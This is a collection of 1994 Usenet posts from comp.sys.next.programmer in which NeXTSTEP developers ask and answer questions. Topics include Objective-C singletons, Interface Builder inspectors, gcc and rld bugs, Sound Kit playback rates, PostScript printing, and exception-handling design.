From: zmonster@ATHENA.MIT.EDU (Eric M Hermanson) Newsgroups: comp.sys.next.programmer,comp.lan.objective-c Subject: Re: +new vs. +alloc -init Date: 12 Jun 1994 15:21:50 GMT Organization: Massachusetts Institute of Technology Message-ID: <2tf96e$gfh@senator-bedfellow.MIT.EDU> References: <1994Jun10.172915.19603@glv.cen.encompass.com> Keywords: NeXT, NEXTSTEP, Objective-C, new, alloc, init In article <1994Jun10.172915.19603@glv.cen.encompass.com> bob@bobsled.cen.encompass.com (Bob Lunney) writes: >At one time there was an elegant, succinct posting describing the difference >between using +new and +alloc -init to allocate and initialize object under >NEXTSTEP. I know you should use +new when you want one and only one instance >of an object ever in you program, as with Application, say. However, I cannot >find the detailed reason why anyway on the 'net. If you simply use alloc then init, you can't check for the existence of the object before it gets alloc'ed. If you use a single +new method (or something similar), then you can check for the existence of the object before it gets allocated in memory. Here is some code from my nuclear power plant simulation written for my masters thesis. It checks for the existence of the NuclearPowerSystem, and if it doesn't exist, it will create itself, and attach a reactor core to itself, then it returns it's instance. If it exists already, it just returns it's instance: @implementation NuclearPowerSystem + create { static NuclearPowerSystem *instance = nil; /* Assure only one instance of the nuclear power system */ if (instance == nil) { instance = [[self alloc] init]; instance->reactorCore = [[NuclearReactorCore alloc] initWithPowerSystem:instance]; } return instance; } ..... Eric
From: dcl@panix.com (David Lambert) Newsgroups: comp.sys.next.programmer Subject: [[Application workspace] hideOtherApplications] == nothing? Date: 12 Jun 1994 11:23:15 -0400 Organization: PANIX Public Access Internet and Unix, NYC Message-ID: <2tf993$7uf@panix.com> Has anyone else found that [[Application workspace] hideOtherApplications]; doesn't seem to do anything at all (at least under NS3.2/Intel)? Does it work on black machines? Has anyone else made it work on Intel machines? Is this just another piece of documented non-functionality? David Lambert dcl@homer.uu.panix.com <- please use this address to reply.
From: damonc@hookup.net (Damon F. Cooper) Newsgroups: comp.sys.next.programmer Subject: STANDALONE TRANSSYS SLIP POSSIBLE? Date: Sun, 12 Jun 1994 20:01:46 GMT Organization: HookUp Communication Corporation, Oakville, Ontario, CANADA Message-ID: <damonc.21.2DFB69AA@hookup.net> Is there ANYONE out there that is running a STANDALONE NS box that is successfully running TransSys PNI SLIP?? I posed a similar question last week, and I got 31 (THIRTY ONE!!)responses from people looking for help as well... Can anyone help? (Please!) Given a "fresh", standalone machine, install NEXTSTEP 3.2 on it, what are the steps to follow? Anybody have this working that could post/upload the config files/etc? THANK-YOU VERY MUCH IN ADVANCE!! Damon Cooper damonc@hookup.net
From: jinyang@cs.utexas.edu (Jin Yang) Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin,comp.sys.next.misc Subject: Semaphore for NextStep Followup-To: poster Date: 21 Jun 1994 15:02:23 -0500 Organization: CS Dept, University of Texas at Austin Message-ID: <2u7h0f$7hb@tofu.cs.utexas.edu> I would like to know whether there is something on NextStep that implements (or simulates) Semophore? Please send your response to jinyang@cs.utexas.edu or jy@bassoon.ho.att.com Thanks in advance. - Jin Yang
Newsgroups: comp.sys.next.programmer From: brouwer@minnie.informatik.uni-stuttgart.de (Klaus Brouwer) Subject: Re: Subclassing and IB -- Mutually exclusive? Message-ID: <Croy4C.Iny@news.informatik.uni-stuttgart.de> Sender: news@informatik.uni-stuttgart.de Organization: Informatik, Uni Stuttgart, Germany References: <2tko9m$46s@tribune.usask.ca> <2tnf8r$24c@ftp-p.mccaw.com> <CrJA1t.Cxt@news.informatik.uni-stuttgart.de> <1994Jun18.035649.17199@news.media.mit.edu> Date: Mon, 20 Jun 1994 10:21:47 GMT In <1994Jun18.035649.17199@news.media.mit.edu> wave@media.mit.edu (Michael B. Johnson) writes: >>>What if have an NXBrowser for example and just want to overwrite one method, >>>say keyDown:? I'm not adding any instance Variables or anything like this, so >>>why can't I use the NXBrowser inspector? Even if I would have added instance >>>variables I think there is no reason for loosing all IB support in setting >>>NXBrowser attributes and switch over to an uni-color CustomView and no >>>inspector. >Sounds like a perfect time for a category. [deleted] I faced this problem writing a preferences module where overwriting of methods with categories is a bad idea. >>>I made a View subclass that can display a background picture and tried to make >>>drag&drop of some image to the view possible - well, I tried. The build-in >>>palettes are specially integreted in IB, the custom palettes use a completely >>>different mechanism with lesser abilities. This is the greatest flaw of IB: >>>asymmetry. Look at the Preferences.app: all NeXT-provieded Modules use just >>>the public API; this guarantees that the API is powerfull enough to do every- >>>thing NeXT can do and this is what I want for IB. >>> >Well, the problem there is that the API for IBEditors is, err, weak. [deleted] The problem is the -getIBEditorClass: (or something like that) isn't even sent to my custom view! Klaus Brouwer
Newsgroups: comp.sys.next.programmer From: brouwer@minnie.informatik.uni-stuttgart.de (Klaus Brouwer) Subject: Re: Subclassing and IB -- Mutually exclusive? Message-ID: <Croz6J.KJB@news.informatik.uni-stuttgart.de> Sender: news@informatik.uni-stuttgart.de Organization: Informatik, Uni Stuttgart, Germany References: <1994Jun18.035649.17199@news.media.mit.edu> <2tvjtq$647@rosie.next.com> Date: Mon, 20 Jun 1994 10:44:43 GMT In <2tvjtq$647@rosie.next.com> Ralph_Zazula@next.com (Ralph Zazula) writes: >> >>What if have an NXBrowser for example and just want to overwrite one method, >>say keyDown:? I'm not adding any instance Variables or anything like this, so >>why can't I use the NXBrowser inspector? Even if I would have added instance >>variables I think there is no reason for loosing all IB support in setting >>NXBrowser attributes and switch over to an uni-color CustomView and no >>inspector. >> >Have you tried just returning the default NXBrowser inspector class when your >NXBrowser subclass is asked? >- (const char *)getInspectorClassName >{ > return [NXBrowser getInspectorClassName]; >} You misunderstood something! I don't want to but my browser subclass on a palette. I want the NXBrowser inspector even if I just assign my subclass to a custom view! Although my added features then would not be supported at least the inherited ones will. Klaus Brouwer
From: rprice@reunion.umd.edu (Rodney Price) Newsgroups: comp.sys.next.programmer Subject: Re: bug of gcc-2.5.8 on NeXTStep 3.2 Date: 20 Jun 1994 15:51:44 GMT Organization: University of Maryland, College Park Distribution: world Message-ID: <2u4dug$983@umd5.umd.edu> References: <2u0k3o$7d1@news.doit.wisc.edu> In article <2u0k3o$7d1@news.doit.wisc.edu> jacobsen@arundel.doit.wisc.edu writes: > In article <CHIN.94Jun18185312@chestnut.chem.upenn.edu> > chin@chestnut.chem.upenn.edu (Chin Wu) writes: > > > > OS: NeXTStep 3.2 on NeXTstation (m68k) > > gcc: version 2.5.8 > > > > If anyone have built gcc-2.5.8 on NeXTStep 3.2 (m68k), can you verify > > this bug: > << text deleted >> > > I get the same results using gcc 2.5.8 with NS3.2 m68k. > > arundel> /usr/local/bin/gcc -g -o test test.cc > ld: /usr/tmp/cc0010721.o symbol 64 (a:r24)'s n_sect field (33) is greater > than the number of sections in this object (5) > Same here: rprice[1] gcc -g -o test test.cc ld: /usr/tmp/cc0017521.o symbol 64 (a:r24)'s n_sect field (33) is greater than the number of sections in this object (5) rprice[2] cc -g -o test test.cc /usr/lib/libg++.a rprice[3] test test with NeXT's cc works just fine. Rod Price rprice@reunion.umd.edu
From: "mmalcolm Crawford" <malc@dcs.shef.ac.uk> Newsgroups: comp.sys.next.bugs,comp.sys.next.programmer Subject: Re: Bug? Playing 8-bit 11kHz sound files double-speed? Date: Tue, 21 Jun 1994 22:14:17 GMT Organization: Department of Computer Science, University of Sheffield Message-ID: <940621231417.13592AACUH.malc@jeeves> References: <940618151222.4649AACUE.malc@jeeves> <2u4dtp$oof@hamblin.math.byu.edu> <940620191838.9321AACUE.malc@jeeves> <2u7a0m$p1a@hamblin.math.byu.edu> Mime-Version: 1.0 (Generated by Eloquent) Content-Type: text/plain; charset=US-ASCII > Wait a minute... I just remembered... with 3.1, didn't they add code to the > sound mixer to arbitrarily push any sampling rate to 44.1? It's somewhere > in the release notes if I recall. > Yes, it is... I've tried various sampling rates now: 17kHz seems to play fine for example... but maybe I'm imagining it... 8-) What is very frustrating is that I'm now checking with [aSound isplayable] (from the docs) Returns YES if the Sound can be played, otherwise returns NO. Some unplayable Sounds just need to be converted to another format, sampling rate, or number of channels; others are inherently unplayable, such as those whose format is SND_FORMAT_DISPLAY. To play a Sound that's just been recorded from the DSP, you must change its format from SND_FORMAT_DSP_DATA_16 to SND_FORMAT_LINEAR_16. and for 11kHz Sounds this returns YES. This means that my Inspector doesn't change the format, so plays out double speed. If possible I'd rather avoid either (a) simply converting all sounds to 22.05kHz 16-bit stereo, as this takes time and memory, or (b) trying to exhaustively list any formats which will fail an converting them... any suggetions? I presume I am correct and this is a bug? Have fun, mmalcolm. SHeffield Auditory Group | Vox : (+44) 742 768555 ext 5569 Dept. Computer Science | direct : 825569 Sheffield University | Fax : (+44) 742 780972 Regent Court | Email: malc@dcs.shef.ac.uk 211 Portobello Street | (NeXTMail, SunMail, MIME welcome) Sheffield S1 4DP, UK. | (Read-Receipts discouraged :-)
From: pete@ohm.york.ac.uk (pete french) Newsgroups: comp.sys.next.programmer Subject: Kernel loadable modules under 3.2 / Line disciplines Date: 12 Jun 1994 20:37:38 GMT Organization: University of York, Computing Service, UK Message-ID: <2tfrmi$836@castle.york.ac.uk> Hello, I am trying to port a kernel loadable module from 2.0 (I think) to 3.2. Being a bit hampered by never having done this sort of thing before and not having aany 2.0 documentation doesn't partcularly bother me. What I am trying to discover (with little success) is how to install a new tty line discipline under NS3.2. The 2.0 code appears to do this by calling a routine named tty_ld_instaall, but I can find no trace of any such call in 3.2. Extensive searching oof the documenttion haas (as usual) come up with sweet F.A. apart froom a passing comment that it is possible. Any suggestions anyone ? -pete french. [is case anyone was wondering it's the ppp code]
From: zmonster@ATHENA.MIT.EDU (Eric M Hermanson) Newsgroups: comp.sys.next.programmer,comp.lan.objective-c Subject: Re: +new vs. +alloc -init Date: 12 Jun 1994 15:35:25 GMT Organization: Massachusetts Institute of Technology Message-ID: <2tf9vt$gmm@senator-bedfellow.MIT.EDU> References: <1994Jun10.172915.19603@glv.cen.encompass.com> <2tf96e$gfh@senator-bedfellow.MIT.EDU> Keywords: NeXT, NEXTSTEP, Objective-C, new, alloc, init In article <2tf96e$gfh@senator-bedfellow.MIT.EDU> zmonster@ATHENA.MIT.EDU (Eric M Hermanson) writes: >Here is some code from my nuclear power plant >simulation written for my masters thesis. It checks for the existence of >the NuclearPowerSystem, and if it doesn't exist, it will create itself, >and attach a reactor core to itself, then it returns it's instance. If it >exists already, it just returns it's instance: >@implementation NuclearPowerSystem >+ create >{ > static NuclearPowerSystem *instance = nil; > > /* Assure only one instance of the nuclear power system */ > > if (instance == nil) { > instance = [[self alloc] init]; > instance->reactorCore = > [[NuclearReactorCore alloc] initWithPowerSystem:instance]; > } > > return instance; >} I forgot to say that you must keep in mind that you are inside of a *class* method when programming things in this manner. The class object does not know about instance variables directly, like instance methods do. Therefore, I had to access the instance variable 'reactorCore' by using the -> operator like this: instance->reactorCore. If this were an instance method (like -init), then I could have access reactorCore directly. Eric
Newsgroups: comp.sys.next.programmer,comp.sys.next.bugs From: Jayson Adams Subject: Re: hideOtherApplications == nothing? Message-ID: <1994Jun12.203108.749@millennium.com> Sender: jayson@millennium.com Organization: Millennium Software Labs, Inc. References: <2tdrq8$c7h@panix.com> Date: Sun, 12 Jun 1994 20:31:08 GMT In article <2tdrq8$c7h@panix.com>, David Lambert writes: > Has anyone else found that > > [[Application workspace] hideOtherApplications]; > > doesn't seem to do anything at all (at least under > NS3.2/Intel)? I'm pretty sure this doesn't work (at least that was the case in 3.1). __jayson
Newsgroups: comp.sys.next.programmer From: Mark.Pappas@mpd.amaranth.com Subject: NS Users in Pensacola, FL Message-ID: <14.47583242.MPD@mpd.amaranth.com> Sender: news@newsserver.rrzn.uni-hannover.de (News Service) Organization: RRZN Date: Tue, 21 Jun 1994 12:44:26 GMT Looking for NeXT Step users in Pensacola, FL. If there are give me a call or drop me e-mail. Looking to maybe start a NeXT Step Users Group. Thanks Mark Pappas Mark Pappas ------------------------------------------------------------------------- Mark A. Pappas | Consultant |Internet: Mark.Pappas@mpd.amaranth.com Mark Pappas Development |NovaWorld: Mark Pappas/MPD 224 Broussard Street | Pensacola, FL 32505 |Phone:(904) 457-6800 ------------------------------------------------------------------------- Mark Pappas Development Specializing in Macintosh Databases NovaLink System Design & Novell's AppWare Call The Macintosh Programmers & Developers BBS (904) 457-6800 or Telnet in at mpd.amaranth.com -------------------------------------------------------------------------
Newsgroups: comp.sys.next.programmer From: gelato@netcom.com (Steve James) Subject: Re: rld_unload / gdb bug? Message-ID: <gelatoCrB35C.Dp9@netcom.com> Organization: NETCOM On-line Communication Services (408 261-4700 guest) References: <2t7hcm$a14@giuliani.gun.com> Date: Sun, 12 Jun 1994 22:44:00 GMT In article <2t7hcm$a14@giuliani.gun.com>, <ivo@hasc.ca> wrote: >Has anyone had problems either with rld_unload crashing or gdb crashing >after an app has been terminated? Yes, several bugs in rld_load and rld_unload exist in 3.2 and have been fixed for 3.3. One of the bugs occurs during rld_unload'ing (I never experienced this one) and another is caused during rld_load when you load a lot (>20 or so) of .o's and some of the those .o's have COMMON symbols in them. If your .o's happen to contain C++ code you are very likely to run into the latter, because any .o that contains a class has some common symbols in it. It is not a very reproducable crash because it depends on memory state. A fresh reboot usually made the problem go away for awhile. It happened far more frequently on Intel than on black. Because gdb uses rld_load to get the symbols for .o's that are rld_load'ed by the target program, it too is susceptable to crash. You can try 'ld -r -d foo.o -o bar.o; mv bar.o foo.o', which was recommended to me by NeXT to change the COMMON symbols into defines. This didn't seem to help me, but your mileage may vary.
Newsgroups: comp.sys.next.programmer From: js@euler.hnv.icem.de(Juergen Sell) Subject: Re: Move matrix Message-ID: <CrrwqL.23E@euler.hnv.icem.de> Sender: js@euler.hnv.icem.de (Juergen Sell) Organization: Ink Unknown References: <2u6pe8$bds@vega.info.isbiel.ch> Date: Wed, 22 Jun 1994 00:44:44 GMT In article <2u6pe8$bds@vega.info.isbiel.ch> schmo1@info.isbiel.ch (Olivier Schmid) writes: > I've got a problem: I have moved a button-matrix (with moveTo::) > and it seems to be moved. But the matrix is still visible after moving it. > What's the problem ? Sending a moveTo:: message to a Matrix actually calls View's implementation of moveTo:: From the docs of View's notifyAncestorWhenFrameChanged: - notifyAncestorWhenFrameChanged:(BOOL)flag Determines whether the receiving View will inform its ancestors in the view hierarchy whenever its frame changes. If flag is YES, subsequent sizeTo:: and moveTo:: messages to the View will send a descendantFrameChanged: message up the view hierarchy. If flag is NO, no descendantFrameChanged: message will be sent to the View's ancestors. The descendantFrameChanged: message permits Views to make any necessary adjustments when a subview is resized or moved. Returns self. Unfortunately, sending [theButtonMatrix notifyAncestorWhenFrameChanged:YES] does NOT do the trick. Maybe theButtonMatrix's superviews cannot deal with moved Frames of their subviews? And again, the docs say about descendantFrameChanged: - descendantFrameChanged:sender Notifies the receiving View that sender, a View below the receiving View in the view hierarchy, was resized or moved. A descendantFrameChanged: message is sent from the sizeTo:: and moveTo:: methods if a notifyAncestorWhenFrameChanged:YES message was previously sent to sender. View's default implementation of this method simply passes the message to the receiving View's superview, and returns the superview's return value. View subclasses should override this method to respond to the message as required. In the Application Kit, the ClipView class overrides this method to notify the ScrollView to reset scroller knobs when the document view's frame is changed. So maybe this message really gets passed up the ladder but no object feels fit to react apart from passing the message farther up? What you can do, is the following: [theButtonMatrix moveTo:x:y]; [ [theButtonMatrix window] display]; thus forcing theButtonMatrix' window to redisplay itself. Works, but does not seem very elegant. So, NeXTperts, how to do it proper? Juergen --- Fon ++49-511-440688 NeXTMail welcome Fax ++49-511-440617 == What time do we live in when firing people gets called {right,down}sizing, == when spontaneity and freedom gets associated with instant coffee?
Newsgroups: comp.sys.next.programmer From: walters@corndog.demon.co.uk (Chris Walters) Subject: Pointer to archive submission: Work for NeXT programmers Message-ID: <1994Jun21.194303.822@corndog.demon.co.uk> Keywords: ObjectWare Organization: UBS Securities, Inc. Date: Tue, 21 Jun 1994 19:43:03 GMT I just wanted to alert the readers of this group to a submission that I have just made to cs.orst.edu and sonata.cc.purdue.edu. UBS has released an RFP (request for proposal) soliciting responses from independent programmers or companies to build a custom Objective C component. Full details are in the RFP document. Please do not respond to me directly regarding this post, rather use the contact information in the document to reach us (except for flames, etc. :-))
Newsgroups: comp.sys.next.programmer From: pfkeb@kaon.SLAC.Stanford.EDU (Paul F. Kunz) Subject: NeXTSTEP and C++ Message-ID: <PFKEB.94Jun21214759@kaon.SLAC.Stanford.EDU> Sender: news@unixhub.SLAC.Stanford.EDU Organization: Stanford Linear Accelerator Center Date: Wed, 22 Jun 1994 04:47:59 GMT Perhaps this belongs in c.s.n.advocacy, but I'll post it here nevertheless. There is clear interest in use of C++ for NeXTSTEP development. NeXT has shipped a C++, and Objective-C++, compiler since NS 2.0. However, NeXT's compiler has always been a bit behind the latest release of gcc for reasons that it are easy to understand. However, gcc C++ support is also a bit behind the latest draft standard and other commercially available compilers. This makes NeXTSTEP's C++ compiler quite far behind what is readily available on other platforms. With NS 3.2, we got up to gcc 2.2.2 and NeXT also supplied libg++.a. This is quite a step forward and I don't know of any other vendor that ships a C++ compiler and library with their system. However, this was a year ago, and FSF had already released 2.3 or maybe 2.4 (I don't remember the dates). The signficant difference between gcc 2.2.2 and later releases for C++ is templates. Every other major C++ compiler vendor supports templates; NeXT does not. I can understand the situation a year ago when NeXT had to take a snapshot of gcc and then build their release with it. The timing of the release of gcc 2.3 and NS 3.2 were such that we got gcc 2.2.2 and hence no templates. However, a year has passed and users of C++ still don't have templates. Today, at NeXTSTEP Expo, I learned that NS 3.3 is planned for later this year BUT it is only a users release. This means NO developer release and no upgrade to the C++ compiler. The next developer release will be NS 4.0 which is scheduled for a year from now. This means another year without C++ templates! What is really annoying is that NeXTSTEP for HP PA-RISC will come out in July and is already in beta. Guess what? The compiler for NeXTSTEP-For-HP is based on gcc 2.5.8! So if you have an HP version of NeXTSTEP, you can have templates in your C++ code. You can even produce Motorola and Intel code on the HP with a gcc 2.5.8 based compiler. But if you only have Motorola or Intel machines, then you have to wait another year before NeXT gives you a update to the C++ compiler. I find this very annonying. NeXT has shown that they can compile all of NeXTSTEP with their version of gcc 2.5.8 But they wouldn't give it to us for another year, except on HP platfrom. Comments should be cc:'s to NeXT; if you share my view on the state of affairs. -- Paul F. Kunz Paul_Kunz@slac.stanford.edu (NeXT mail ok) Stanford Linear Accelerator Center, Stanford University Voice: (415) 926-2884 (NeXT) Fax: (415) 926-3587
Newsgroups: comp.sys.next.programmer From: michael@mcnabb.com (Michael McNabb) Subject: Re: Playing soundfiles to DATPort Message-ID: <1994Jun21.215922.11883@mcnabb.com> Sender: michael@mcnabb.com References: <2tunsv$ivj@ccu2.auckland.ac.nz> Date: Tue, 21 Jun 1994 21:59:22 GMT In article <2tunsv$ivj@ccu2.auckland.ac.nz> sbrandon@ccu1.auckland.ac.nz (steve brandon) writes: > I have a black NeXTcube NS3.0 with DATPort, and am a little frustrated > at my efforts to perform fully digital editing before saving back > to DAT. Any pointers (including code) would be appreciated. > > I realize that using the music kit I can synthesize music and send > this out the DSP port. No prob. I realize I can process sound > coming in the DSP port and play it from the NeXT DACS or to a file, > and that's ok too (though I would love to be able to play it straight > back out the DSP). So, why does there seem to be no direct way to > take sound from a file, using the music kit, and send it out the DSP > port? I don't have too much experience programming this sort of thing > tho I'd give it a go if it seemed worthwhile. > > I know I could (and I probably will) buy SoundWorks 3.0 to play direct > to DAT, but I would like to use code to integrate into my synthesis > projects. > > If sound was to be sent from a file, through the DSP and out, what > sort of operations are necessary to get it there? NXSoundStreams? > > Thanks for any help > Steve > > steve.brandon@ccu1.auckland.ac.nz > NeXTMail welcome > > Unfortunately, that's not possible. DMA to the DSP, required for getting high-bandwidth data to the DSP in real time, has never been reliable. It is possible to process sound from a file and write it back to a file, but not in real time. There is a good workaround, however. The Music Kit CAN pass sound in and out of the DSP at the same time, if you tell it to do so. To process a sound file, I play the file out of the regular NeXT DACs (using the SoundKit routines), into the DSP via my Singular Solutions A/D 64x, process it using the Music Kit, then back out the DSP to the A/D 64x connected to my DAT recorder. I assume the DATPort will work in a similar fashion. Mike McNabb
From: dave@victim.suite.com (dave raymer) Newsgroups: comp.sys.next.programmer Subject: Stopping mach-threads from switching Date: 21 Jun 1994 16:06:39 GMT Organization: suite software, dallas, anahiem Distribution: world Message-ID: <2u736f$593@bilbo.suite.com> Looking at section 4 of the Developers Guide for the Mack OS, it seems that if you have a multithreaded process, there is no way to lock a single thread within the process, so that thread-task switching does not occur, Is this correct, or am I missing something ? Any assistance would be appreciated. -- dave raymer -- dave@suite.com ---------------------------------------------- Where's the kaboom ? There was supposed to be an Earth shatterring kaboom... ------------------------ standard disclaimers apply ---------------------------
From: tudhope@hookup.net (Daniel C. Ellison) Newsgroups: comp.sys.next.programmer Subject: Help with fork() vs. popen(), etc. Followup-To: comp.sys.next.programmer Date: Wed, 22 Jun 1994 07:42:56 +0500 Organization: Tudhope Associates Inc. Distribution: world Message-ID: <tudhope-220694074256@tudhope.tor.hookup.net> Please excuse my ignorance. I'm relatively new to UNIX programming. What's the most efficient method for executing shell commands from a NeXTSTEP application? What I want to do is start a shell early on and communicate with it several times in the course of my application, using the results from both stdout and stderr. Is it better to try the above using fork(), or to start fresh every time using popen(). I need to do all this asynchronously, as the shell stuff takes a while, and as far as I could tell, I'd have to start a thread to run popen() async. I also need the output from the shell commands (both stdout and stderr). Can this be grabbed with popen()? I know it's relatively easy with fork(). Thanks for any help you may cast my way... -- Daniel C. Ellison Phone: 416-366-7100 Tudhope Associates Inc. Fax: 416-366-7711 International Graphic Design tudhope@hookup.net
From: millard@amethyst.ces.cwru.edu (John Millard) Newsgroups: comp.sys.next.programmer Subject: pte.h on NS3.2? Date: 22 Jun 1994 12:32:38 GMT Organization: International House of Pancreas Message-ID: <2u9b16$r4v@usenet.INS.CWRU.Edu> Hello all -- I have one quick question for anyone out there familiar with header files... Does NS3.2 have the header file "pte.h?" I'm going under the assumption that 3.2 is based on BSD4.3, and the program I'm trying to compile -- "Top", a sort-of real-time "ps" -- is requesting <machine/pte.h>, which I cannot find for the life of me... except on a SPARC IPC, which does not do me a lot of good... If anyone can point the file out to me, or tell me where I can find an NS-compatible file, I would greatly appreciate it! Thanks in advance, John (millard@alpha.ces.cwru.edu -- No NeXTMail please)
From: zccq1121@rpool4.rus.uni-stuttgart.de (Ulrich Bortfeld) Newsgroups: comp.sys.next.programmer Subject: chinese word processor for nextstep ? Date: 22 Jun 1994 12:43:17 GMT Organization: Comp.Center (RUS), U of Stuttgart, FRG Message-ID: <2u9bl5$2il1@info2.rus.uni-stuttgart.de> hi there! is there any chinese word processing software for nextstep ? i do have a chinese postscript font and the appkit text object handles multi-byte characters quite well, so all i really need is a method to translate mandarin phonetic symbols into big-5 encoded characters. any help will be appreciated. (no nextmail please)
Newsgroups: comp.sys.next.programmer From: cuebl@hai (Christoph Uebleis) Subject: JPG in NEXT Application Message-ID: <Crt0ID.H19@wst.edvz.sbg.ac.at> Sender: news@wst.edvz.sbg.ac.at (USENET News System) Organization: University of Salzburg / Austria Date: Wed, 22 Jun 1994 15:03:49 GMT How can I display a jpg-file on the screen in my NeXT-Application??? I have tried the following: System("/LocalApps/OmniImage.app/OmniImage -NXOpen <path of picture>"); it works, but the picture is displayed at the background. Are there any routines or functions with which I can solve that problem better. ---------------------------------------------------------------------- Christoph UEbleis cuebl@frosch.cosy.sbg.ac.at Nr. 81 grilli@schnecke.cosy.sbg.ac.at 5125 Michaelbeuern AUSTRIA -----------------------------------------------------------------------
Newsgroups: comp.sys.next.programmer From: cleelacj@agedwards.com (Chris Cleeland) Subject: Re: Nested Exception Handling Message-ID: <Crsx2F.In6@agedwards.com> Date: Wed, 22 Jun 1994 13:49:27 GMT References: <CrpCC9.3vC@SoftDesign.COM> Organization: A. G. Edwards & Sons, Inc. Roberto Arrocha (Roberto_Arrocha@SoftDesign.COM) wrote: : [ ...objA messages objB messages objC calls functions...] : : All calls to objC return a code to be processed by its caller (objB). If : the code returned is an error code, objB raises an exception. If the error : code corresponds to a known exception to objB, objB handles it w/in the : scope of its local handler, otherwise it NX_RERAISE() for its caller(s) to : handle. : The dilema is that if objB "handles" the exception, objA has no way to : know what happened, unless: : 1. objB does NX_RERAISE() for all exceptions. : 2. objB returns something that would let objA know the request failed. Maybe I'm missing something here, but isn't part of the beauty of an exception handling mechanism that you actually *have* this choice, i.e., the first handler of the exception has the ability to look at what happened and decide if frames deeper in the stack "need to know" about it? I wouldn't think that you'd want to just blanket pass every exception caught by objB to objA because objB may most certainly be able to satisfy A's request despite the exception. It may not, however, in which case it makes perfect sense for B to raise an exception (maybe the same exception it caught or maybe a different one). Believe it or not, there was a really good discussion on this entire topic in the comp.lang.c++ (very low S/N ratio) and comp.std.c++ groups about 8 months ago. I'll have to root around and see if I can find it. Basically what it said is that if an exception is caught, it really stops there. The job of a handler is to catch exceptions that it "expects" and transform them into something of its own, used much in the same way that Objective-C uses messages to access ivar values. As a general rule, caught exceptions should not cross over more than one frame boundary. So, in the case above, C would notice an error and RAISE one of its published exceptions. B, having messaged C within the context of an exception-handling mechanism, would examine the caught exception to see if it could do anything useful with it. If it could, e.g., it could go on to fulfill the request, it would do so and the indication of any type of exception would stop right there. But, if B deemed it necessary to inform its messager of some sort of problem, B would RAISE (not RE_RAISE) one of *IT'S* published exceptions. This is because from A's perspective, B is the entity doing the work. Thus, the exception should originate from B when A catches it. Now, before I get flamed (or even just scorched) for bringing up C++ or saying that each class should have _its own_ published exceptions, I would like to say that I don't think there's any reason that typical exceptions can't be "shared" by many classes. A classical example is the old "Division by Zero" mathematical exception. I'm certainly *NOT* advocating a proliferation of exceptions of the ilk "the message readMind:andInterpret: couldn't increment its internal pointer to blart"; this is far too specific. However, we also should beware to not fall into the old C trap of "Error -1". Questions, comments, opinions? Anybody out there? Everybody ('cept me) at Expo :-(? -cj -- ============================================================================== Chris Cleeland | NeXTMail: chris@milo.st-louis.mo.us BOS Dev. Team | MIMEMail: cleeland@agedwards.com | BellNet: (314) 289-5372
Newsgroups: comp.sys.next.programmer From: brianw@sounds.wa.com (Brian Willoughby) Subject: Re: MORE- NeXT PostScript Printer Bug? Message-ID: <CrsBr2.933@sounds.wa.com> Organization: Sound Consulting, Bellevue, WA, USA References: <4hzs4ne00iM8E=NFYx@andrew.cmu.edu> <wi0BKNu00iMSF1ZVlR@andrew.cmu.edu> Date: Wed, 22 Jun 1994 06:09:02 GMT >Excerpts from netnews.comp.sys.next.programmer: 15-Jun-94 NeXT >PostScript Printer Bug? "Jeremy G. Mereness"@CMU (1408) >> It's a postscript file generated on a networked MS-Windows machine. I have >> routines that strip the file of all Windows funny stuff, like ^M and ^D's >> where there shouldn't be any. But after half a page gets printed, I get... > >> Offending Command = unpack >> Error = nametype : undefined >> this name is not defined in the dictionary >> Stack = > >> followed by page after page of similar messages (one per page). > >> "unpack", it would appear, is very much defined in the header of the file. >> It defines a small graphic. > >> But what really makes me wonder is that ghostview thinks the file is just >> fine. It displays perfectly. But if I send the same file to my NeXT printer, >> it barfs. I am running under NeXTStep for Motorola 3.2. Hi Jeremy, I don't know if anyone has tried to answer this yet, but I think I know what your problem might be. I had similar problems with the PostScript output of a DOS program which "pretty printed" C source code files. The problem is very likely that your Windows PostScript file makes use of Adobe's Document Structuring Conventions without following the rules. To be specific, I'll bet that the file marks page numbers without following a very important rule in PostScript, documented on page 627 of the PostScript Language Reference Manual: "Pages should not have /any/ inter-dependencies. [...] Page independence enables a document manager to rearrange the document's pages physically without affecting the execution of the document description." On systems which are simpler than NEXTSTEP, all DSC comments are ignored, and all is well. This includes GhostScript and also the simple case of sending the file directly to a PostScript printer like the Apple LaserWriter, which has its own PostScript interpreter that ignores DSC comments as if they were regular comments. The NeXTprinter prints pages in last to first order, and therefore depends upon PostScript files following the above rule to the letter. I'll bet that the "unpack" variable is defined in the wrong place, and is therefore unavailable when needed. There are two ways to fix this: 1) Move the definition of "unpack" into the document prolog or document setup section of the PostScript file. You'll have to understand PostScript DSC commands to do this properly (the MS-Windows software should have done it this way in the first place, if they were following Adobe's constraints.) 2) Remove all "%%Page: " comments from the PostScript file. This will force the NeXTprinter to print the pages in first to last order, like a LaserWriter, and I think that your "unpack" problem will not appear. The only drawback to this (easier) approach is that you will have to sort the pages to reverse the order. I hope this helps solve your printing difficulties! -- Brian Willoughby Software Design Engineer, BSEE from NCSU NeXTmail welcome Sound Consulting: Software Design and Development BrianW@SoundS.WA.com Bellevue, WA
From: sfurth@dc.shl.com (Stephen Furth) Newsgroups: comp.sys.next.programmer Subject: Working with a Text Object as a daemon Date: 22 Jun 1994 16:38:42 GMT Organization: SHL Systemhouse Inc. Message-ID: <2u9peiINNgff@technet1.shl.com> Keywords: text window manager windowmanager We are tryiung to write an application that will read a Next Text Object from a Sybase Database, and store it as an RTF document on the disk. We have the app writing, and it works great, but we cannot run it as a daemon on the server - it seems to be looking for a Window Manager, which is not running on the server. I saw something here in this newsgroup several months ago that talked about thisd exact issue, and offered asolution around this. Anyone having any info, please send it to me. Thank You. (Please respond back to my NextMail address.) -- |---------------------------------|--------------------------| | /////// //////// /////// | Stephen M. Furth | | // // // // // | Technical Architect | | /////// // // // /////// | Systemhouse, Inc. | | // // // // // | Mid-Atlantic Region - DC | | /////// // // // // | 1010 North Glebe Road | |---------------------------------| Arlington, VA 22201 | | sfurth@dc.shl.com (NeXT Mail) | Voice:703 284-4879 | | sfurth@shl.com (Microsoft Mail) | Fax:703 524-4782 | |---------------------------------|--------------------------| | We don't believe in miracles - We rely on them! | |------------------------------------------------------------|
